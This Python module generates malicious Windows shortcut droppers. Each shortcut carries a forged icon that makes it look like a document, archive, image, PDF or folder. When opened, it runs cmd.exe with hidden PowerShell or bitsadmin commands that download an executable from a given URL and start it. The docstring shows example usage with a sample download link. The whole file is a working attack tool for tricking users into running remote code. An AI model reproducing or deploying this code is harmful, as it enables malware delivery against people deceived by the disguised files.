#!/usr/bin/python3
# -*- coding: utf-8 -*-
__all__ = ['get_available_payloads', 'generate_exploit_shortcut']
# Import modules
from os import path
from winshell import desktop, shortcut
# Target DLL paths
dll = dict(
imageres='%SystemRoot%\\system32\\imageres.dll',
shell32='%SystemRoot%\\system32\\shell32.dll',
wmploc='%SystemRoot%\\system32\\wmploc.dll',
winrar='%ProgramFiles%\\WinRAR\\WinRAR.exe',
office='%ProgramFiles%\\Microsoft Office\\root\\Office16\\',
adobe='%ProgramFiles%\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe'
)
# Available icons
icons = {
'xls': (dll['office'] + 'EXCEL.EXE', 0),
'doc': (dll['office'] + 'WINWORD.EXE', 0),
'ppt': (dll['office'] + 'PPTICO.EXE', 0),
'rar': (dll['winrar'], 0),
'zip': (dll['winrar'], 0),
'mp3': (dll['wmploc'], 49),
'avi': (dll['wmploc'], 48),
'png': (dll['imageres'], 67),
'jpg': (dll['imageres'], 67),
'txt': (dll['imageres'], 97),
'pdf': (dll['adobe'], 1),
'file': (dll['imageres'], 2),
'folder': (dll['shell32'], 4),
}
techniques = {
'powershell': '%SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden iwr -Uri {target_url} -OutFile $env:TEMP\\{output_name};Start-Process $env:TEMP\\{output_name}',
'bitsadmin': "bitsadmin /transfer Update /download /priority FOREGROUND {target_url} %temp%\\{output_name}' & start %temp%\\{output_name}'"
}
def get_available_payloads() -> list[str]:
'''
Get list of available file extensions
'''
return list(icons.keys())
def generate_exploit_shortcut(url: str, extension: str, description: str = '', technique = 'powershell') -> str:
'''
Generate shortcut dropper
target_url = 'https://ryara.net/putty-url/download/0.78/x86_64/putty.exe'
generate_exploit_shortcut(target_url, 'txt')
'''
assert extension in icons, 'Unknown extension was specified'
savePath = path.join(desktop(), f'Payload.{extension}.lnk')
with shortcut(savePath) as link:
link.path = r'%comspec%'
link.description = description
link.icon_location = icons[extension]
link.arguments = '/C ' + techniques[technique].format(
target_url=url,
output_name=path.basename(url)
)
return savePath